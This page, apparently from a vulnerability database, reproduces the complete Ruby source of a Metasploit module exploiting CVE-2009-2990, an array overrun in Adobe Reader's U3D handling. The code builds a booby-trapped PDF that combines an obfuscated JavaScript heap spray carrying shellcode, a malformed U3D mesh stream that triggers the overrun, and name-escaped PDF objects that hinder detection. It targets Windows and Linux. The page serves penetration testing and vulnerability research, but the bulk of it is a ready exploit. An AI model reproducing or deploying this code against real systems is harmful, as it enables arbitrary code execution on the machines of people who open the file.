Lucene search
+L

Adobe U3D CLODProgressiveMeshDeclaration Array Overrun

🗓️ 22 Nov 2009 01:14:52Reported by Felipe Andres Manzano <[email protected]>, jduck <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 36 Views

Adobe U3D CLODProgressiveMeshDeclaration Array Overrun - Exploi

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'zlib'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Adobe U3D CLODProgressiveMeshDeclaration Array Overrun',
      'Description'    => %q{
          This module exploits an array overflow in Adobe Reader and Adobe Acrobat.
        Affected versions include < 7.1.4, < 8.1.7, and < 9.2. By creating a
        specially crafted pdf that a contains malformed U3D data, an attacker may
        be able to execute arbitrary code.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Felipe Andres Manzano <felipe.andres.manzano[at]gmail.com>',
          'jduck'
        ],
      'References'     =>
        [
          [ 'CVE', '2009-2990' ],
          [ 'OSVDB', '58920' ],
          [ 'BID', '36665' ],
          [ 'URL', 'http://sites.google.com/site/felipeandresmanzano/' ],
          [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb09-15.html' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'         => 1024,
          'BadChars'      => "\x00",
          'DisableNops'	 => true
        },
      'Platform'       => %w{ win linux },
      'Targets'        =>
        [
          # test results (on Windows XP SP3)
          # reader 7.0.5 - untested
          # reader 7.0.8 - untested
          # reader 7.0.9 - untested
          # reader 7.1.0 - untested
          # reader 7.1.1 - untested
          # reader 8.0.0 - untested
          # reader 8.1.2 - works
          # reader 8.1.3 - works
          # reader 8.1.4 - untested
          # reader 8.1.5 - untested
          # reader 8.1.6 - untested
          # reader 9.0.0 - untested
          # reader 9.1.0 - works
          [ 'Adobe Reader Windows Universal (JS Heap Spray)',
            {
              'Index'		=> 0x01d10000,
              'Platform'	=> 'win',
              'Arch'		=> ARCH_X86,
              'escA'		=> 0x0f0f0f0f,
              'escB'		=> 0x16161616,
              'escC'		=> 0x1c1c1c1c
            }
          ],

          # untested
          [ 'Adobe Reader Linux Universal (JS Heap Spray)',
            {
              'Index'		=> 0xfffffe3c,
              'Platform'	=> 'linux',
              'Arch'		=> ARCH_X86,
              'escA'		=> 0x75797959,
              'escB'		=> 0xa2a2a2a2,
              'escC'		=> 0x9c9c9c9c
            }
          ]
        ],
      'DisclosureDate' => '2009-10-13',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.',  'msf.pdf']),
      ])

  end



  def exploit
    # Encode the shellcode.
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

    # Make some nops
    nops    = Rex::Text.to_unescape(make_nops(4))

    # prepare the pointers!
    ptrA = Rex::Text.to_unescape([target['escA']].pack('V'), Rex::Arch.endian(target.arch))
    ptrB = Rex::Text.to_unescape([target['escB']].pack('V'), Rex::Arch.endian(target.arch))
    ptrC = Rex::Text.to_unescape([target['escC']].pack('V'), Rex::Arch.endian(target.arch))

    script = <<-EOF
var nopz = unescape("#{nops}");
function mkSlice(stringy,size,rest){
  while (stringy.length <= size/2)
    stringy += stringy;
  stringy = stringy.substring(0, size/2 -32/2 -4/2 - rest -2/2);
  return stringy;
};

function spray(escA,escB,escC,escShellcode){
  var loop1;
  var pointersA = unescape(escA);
  var pointersB = unescape(escB);
  var pointersC = unescape(escC);
  var shellcode = unescape(escShellcode);

  pointersA_slide=mkSlice(pointersA,0x100000, pointersA.length);
  pointersB_slide=mkSlice(pointersB,0x100000, pointersB.length);
  pointersC_slide=mkSlice(pointersC,0x100000, pointersC.length);
  nop_slide = mkSlice(nopz,0x100000, shellcode.length);
  var xarr = new Array();
  for (loop1 = 0; loop1 < 400; loop1++) {
    if(loop1<100)
      xarr[loop1] = pointersA_slide+pointersA;
    else if(loop1<200)
      xarr[loop1] = pointersB_slide+pointersB;
    else if(loop1<300)
      xarr[loop1] = pointersC_slide+pointersC;
    else
      xarr[loop1] = nop_slide+shellcode;
    }
    return xarr;
  };
  var memoryz = spray("#{ptrA}","#{ptrB}","#{ptrC}","#{shellcode}");
  this.pageNum = 1;
EOF

    # Obfuscate it up a bit
    script = obfuscate_js(script,
      'Symbols' => {
        'Variables' => %W{ pointersA_slide pointersA escA pointersB_slide pointersB escB pointersC_slide pointersC escC escShellcode nop_slide shellcode stringy size rest nopz loop1 xarr memoryz },
        'Methods' => %W{ mkSlice spray }
      }).to_s

    # create the u3d stuff
    u3d = make_u3d_stream(target['Index'], "E" * 11)

    # Create the pdf
    pdf = make_pdf(script, u3d)

    print_status("Creating '#{datastore['FILENAME']}' file...")

    file_create(pdf)
  end


  def obfuscate_js(javascript, opts)
    js = Rex::Exploitation::ObfuscateJS.new(javascript, opts)
    js.obfuscate
    return js
  end


  def random_non_ascii_string(count)
    result = ""
    count.times do
      result << (rand(128) + 128).chr
    end
    result
  end

  def io_def(id)
    "%d 0 obj\n" % id
  end

  def io_ref(id)
    "%d 0 R" % id
  end

  #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
  def n_obfu(str)

    result = ""
    str.scan(/./u) do |c|
      if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
        result << "#%x" % c.unpack("C*")[0]
      else
        result << c
      end
    end
    result
  end

  def ascii_hex_whitespace_encode(str)
    result = ""
    whitespace = ""
    str.each_byte do |b|
      result << whitespace << "%02x" % b
      whitespace = " " * (rand(3) + 1)
    end
    result << ">"
  end


  def u3d_pad(str, char="\x00")
    ret = ""
    if (str.length % 4) > 0
      ret << char * (4 - (str.length % 4))
    end
    return ret
  end


  def make_u3d_stream(index, meshname)

    # build the U3D header (length will be patched in later)
    hdr_data = [1,0].pack('n*') # version info
    hdr_data << [0,0x24,31337,0,0x6a].pack('VVVVV')
    hdr = "U3D\x00"
    hdr << [hdr_data.length,0].pack('VV')
    hdr << hdr_data

    # mesh declaration
    decl_data = [meshname.length].pack('v')
    decl_data << meshname
    decl_data << [0].pack('V') # chain idx
    # max mesh desc
    decl_data << [0].pack('V') # mesh attrs
    decl_data << [0xc322].pack('V') # face count
    decl_data << [0x6226].pack('V') # position count
    decl_data << [0x24966].pack('V') # normal count
    decl_data << [0].pack('V') # diffuse color count
    decl_data << [0].pack('V') # specular color count
    decl_data << [0].pack('V') # texture coord count
    decl_data << [1].pack('V') # shading count
    # shading desc
    decl_data << [0].pack('V') # shading attr
    decl_data << [1].pack('V') # texture layer count
    decl_data << [0].pack('V') # texture coord dimensions
    decl_data << [0].pack('V') # original shading id
    # minimum resolution
    decl_data << [0x6226].pack('V') # final maximum resolution (needs to be bigger than the minimum)
    # quality factors
    decl_data << [0x12c].pack('V') # position quality factor
    decl_data << [0x12c].pack('V') # normal quality factor
    decl_data << [0x12c].pack('V') # texture coord quality factor
    # inverse quantiziation
    decl_data << [0x3f0b1e6c].pack('V') # position inverse quant
    decl_data << [0x3b6f05a6].pack('V') # normal inverse quant
    decl_data << [0x3b6f05a6].pack('V') # texture coord inverse quant
    decl_data << [0x3c2df54a].pack('V') # diffuse color inverse quant
    decl_data << [0x3c2df54a].pack('V') # specular color inverse quant
    # resource params
    decl_data << [0x3f666666].pack('V') # normal crease param
    decl_data << [0x3f000000].pack('V') # normal update param
    decl_data << [0x3f7c28f6].pack('V') # normal tolerance param
    # skeleton description
    decl_data << [0].pack('V') # bone count
    # padding
    mesh_decl = [0xffffff31,decl_data.length,0].pack('VVV')
    mesh_decl << decl_data
    mesh_decl << u3d_pad(decl_data)

    # build the modifier chain
    chain_data = [meshname.length].pack('v')
    chain_data << meshname
    chain_data << [1].pack('V') # type (model resource)
    chain_data << [0].pack('V') # attributes (no bounding info)
    chain_data << u3d_pad(chain_data)
    chain_data << [1].pack('V') # number of modifiers
    chain_data << mesh_decl
    modifier_chain = [0xffffff14,chain_data.length,0].pack('VVV')
    modifier_chain << chain_data

    # mesh continuation
    cont_data = [meshname.length].pack('v')
    cont_data << meshname
    cont_data << [0].pack('V') # chain idx
    cont_data << [0].pack('V') # start resolution
    cont_data << [0x1000].pack('V') # end resolution
    # 4096 continuation blocks
    cont_data << [index].pack('V') # split position index
    cont_data << [0].pack('v') # new diffuse color count
    cont_data << [0].pack('v') # new specular color count
    cont_data << [0].pack('v') # new text coord count
    cont_data << [0].pack('V') # new face count
    # unknown data
    cont_data << "\x07\x9c\x00\x00\x00\x37\x0c\x00\x00\xd0\x02\x00\x00\x3f\xeb\x95\x0d\x00\x00\x76"
    cont_data << "\x05\x00\x00\xea\x15\x00\x00\xe2\x02\x00\x00\x00\x00\x00\x00\x80\x82\x22\x8e\x2f"
    cont_data << "\xaa\x00\x00\x00\xc2\x13\x23\x00\x20\xbb\x06\x00\x80\xc2\x1f\x00\x80\x20\x00\x00"
    cont_data << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xc0\x14\x01\x00\x20\x44"
    cont_data << "\x0a\x00\x10\x7e\x4b\x8d\xf8\x7c\x32\x6d\x03\x00\x00\xb2\x0b\x00\x20\xfd\x19\x00"
    cont_data << "\x20\xb6\xe9\xea\x2e\x55\x00\x00\x59\x94\x00\x00\x4c\x00\x01\x00\x1a\xbb\xa0\xc8"
    cont_data << "\xc1\x04\x00\x70\xc4\xa0\x00\x00\x00\x6c\x98\x46\xac\x04\x00\x60\xf6\x1c\x00\x20"
    cont_data << "\xa1\x0f\x00\xa0\x17\x66\x23\x00\x00\xde\x88\x1d\x00\x00\x7b\x16\x9f\x72\x9a\x1d"
    cont_data << "\x15\x00\x80\xeb\x39\x00\x00\x00\x00\x00\x00\x94\xc8\x00\x00\x54\xce\xfb\x32\x00"
    cont_data << "\x80\xc4\x3e\xb0\xc4\x88\xde\x77\x00\x00\x46\x72\x01\x00\xf0\x56\x01\x00\x8c\x53"
    cont_data << "\xe9\x10\x9d\x6b\x06\x00"
    cont_data << "\x50" # pad
    mesh_cont = [0xffffff3c,cont_data.length,0].pack('VVV')
    mesh_cont << cont_data
    #mesh_cont << u3d_pad(cont_data)
    mesh_cont << "\xa2\x00" # manual padding

    data = hdr
    data << modifier_chain
    data << mesh_cont

    # patch the length
    data[24,4] = [0x2b680].pack('V') # hardcode the data length

    if index == 0x01d10000
      #laziest hack ever! Another index must be found for using the following
      # stream in windows.. and a lot of tests shoul be done.
      return data
    end


    # linux version
    # build the U3D header (length will be patched in later)
    hdr_data = [1,0].pack('n*') # version info
    hdr_data << [0,0x24,31337,0,0x6a].pack('VVVVV')
    meta_str1 = "alalala0"
    meta_str2 = "\xa8" * 1024
    hdr_meta = [1].pack('V')
    hdr_meta << [meta_str1.length].pack('v')
    hdr_meta << meta_str1
    hdr_meta << [1].pack('V')
    hdr_meta << [meta_str2.length].pack('V')
    hdr_meta << meta_str2
    hdr = "U3D\x00"
    hdr << [hdr_data.length,hdr_meta.length].pack('VV')
    hdr << hdr_data
    hdr << hdr_meta
    hdr << u3d_pad(hdr_meta)

    # mesh declaration
    decl_data = [meshname.length].pack('v')
    decl_data << meshname
    decl_data << [0].pack('V') # chain idx
    # max mesh desc
    decl_data << [0].pack('V') # mesh attrs
    decl_data << [0xc322].pack('V') # face count
    decl_data << [0x6626].pack('V') # position count
    decl_data << [4].pack('V') # normal count
    decl_data << [0].pack('V') # diffuse color count
    decl_data << [0].pack('V') # specular color count
    decl_data << [0].pack('V') # texture coord count
    decl_data << [1].pack('V') # shading count
    # shading desc
    decl_data << [0].pack('V') # shading attr
    decl_data << [0].pack('V') # texture layer count
    decl_data << [0].pack('V') # original shading id
    # no texture coord dimensions
    decl_data << [0x64].pack('V') # minimum resolution
    decl_data << [0x65].pack('V') # final maximum resolution (needs to be bigger than the minimum)
    # quality factors
    decl_data << [0x12c].pack('V') # position quality factor
    decl_data << [0x12c].pack('V') # normal quality factor
    decl_data << [0x12c].pack('V') # texture coord quality factor
    # inverse quantiziation
    decl_data << [0].pack('V') # position inverse quant
    decl_data << [0].pack('V') # normal inverse quant
    decl_data << [0].pack('V') # texture coord inverse quant
    decl_data << [0].pack('V') # diffuse color inverse quant
    decl_data << [0].pack('V') # specular color inverse quant
    # resource params
    decl_data << [0].pack('V') # normal crease param
    decl_data << [0].pack('V') # normal update param
    decl_data << [0].pack('V') # normal tolerance param
    # skeleton description
    decl_data << [0].pack('V') # bone count
    # padding
    mesh_decl = [0xffffff31,decl_data.length,0].pack('VVV')
    mesh_decl << decl_data
    mesh_decl << u3d_pad(decl_data)

    # build the modifier chain
    chain_data = [meshname.length].pack('v')
    chain_data << meshname
    chain_data << [1].pack('V') # type (model resource)
    chain_data << [0].pack('V') # attributes (no bounding info)
    chain_data << u3d_pad(chain_data)
    chain_data << [1].pack('V') # number of modifiers
    chain_data << mesh_decl
    modifier_chain = [0xffffff14,chain_data.length,0].pack('VVV')
    modifier_chain << chain_data

    # mesh continuation
    cont_data = [meshname.length].pack('v')
    cont_data << meshname
    cont_data << [0].pack('V') # chain idx
    cont_data << [0].pack('V') # start resolution
    cont_data << [0x100].pack('V') # end resolution
    # 256 continuation blocks
    cont_data << [index].pack('V') # split position index
    # unknown data
    cont_data << [1].pack('V') * 10
    cont_data << "Feli" * 20
    mesh_cont = [0xffffff3c,cont_data.length,0].pack('VVV')
    mesh_cont << cont_data
    mesh_cont << u3d_pad(cont_data)

    data = hdr
    data << modifier_chain
    data << mesh_cont

    # patch the length
    data[24,4] = [0x174].pack('V') # hardcode the data length
    return data

  end

  def make_pdf(js, u3d_stream)

    xref = []
    eol = "\x0a"
    obj_end = "" << eol << "endobj" << eol

    # the header
    pdf = "%PDF-1.7" << eol

    # filename/comment
    pdf << "%" << random_non_ascii_string(4) << eol

    # js stream
    xref << pdf.length
    compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js))
    pdf << io_def(1) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
    pdf << "stream" << eol
    pdf << compressed << eol
    pdf << "endstream" << eol
    pdf << obj_end

    # catalog
    xref << pdf.length
    pdf << io_def(3) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(4)
    pdf << n_obfu("/Pages ") << io_ref(5)
    pdf << n_obfu("/OpenAction ") << io_ref(8)
    pdf << n_obfu(">>")
    pdf << obj_end

    # outline
    xref << pdf.length
    pdf << io_def(4) << n_obfu("<</Type/Outlines/Count 0>>")
    pdf << obj_end

    # kids
    xref << pdf.length
    pdf << io_def(5) << n_obfu("<</Type/Pages/Count 2/Kids [")
    pdf << io_ref(9) << " " # empty page
    pdf << io_ref(10) # u3d page
    pdf << n_obfu("]>>")
    pdf << obj_end

    # u3d stream
    xref << pdf.length
    pdf << io_def(6) << n_obfu("<</Type/3D/Subtype/U3D/Length %s>>" % u3d_stream.length) << eol
    pdf << "stream" << eol
    pdf << u3d_stream << eol
    pdf << "endstream"
    pdf << obj_end

    # u3d annotation object
    xref << pdf.length
    pdf << io_def(7) << n_obfu("<</Type/Annot/Subtype")
    pdf << "/3D/3DA <</A/PO/DIS/I>>"
    pdf << n_obfu("/Rect [0 0 640 480]/3DD ") << io_ref(6) << n_obfu("/F 7>>")
    pdf << obj_end

    # js dict
    xref << pdf.length
    pdf << io_def(8) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(1) + ">>" << obj_end

    # page 0 (empty)
    xref << pdf.length
    pdf << io_def(9) << n_obfu("<</Type/Page/Parent ") << io_ref(5) << n_obfu("/MediaBox [0 0 640 480]")
    pdf << n_obfu(" >>")
    pdf << obj_end

    # page 1 (u3d)
    xref << pdf.length
    pdf << io_def(10) << n_obfu("<</Type/Page/Parent ") << io_ref(5) << n_obfu("/MediaBox [0 0 640 480]")
    pdf << n_obfu("/Annots [") << io_ref(7) << n_obfu("]")
    pdf << n_obfu(">>")
    pdf << obj_end

    # xrefs
    xrefPosition = pdf.length
    pdf << "xref" << eol
    pdf << "0 %d" % (xref.length + 1) << eol
    pdf << "0000000000 65535 f" << eol
    xref.each do |index|
      pdf << "%010d 00000 n" % index << eol
    end

    # trailer
    pdf << "trailer" << eol
    pdf << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(3) << ">>" << eol
    pdf << "startxref" << eol
    pdf << xrefPosition.to_s() << eol
    pdf << "%%EOF" << eol

  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Oct 2020 20:00Current
7.9High risk
Vulners AI Score7.9
CVSS 29.3
EPSS0.68669
36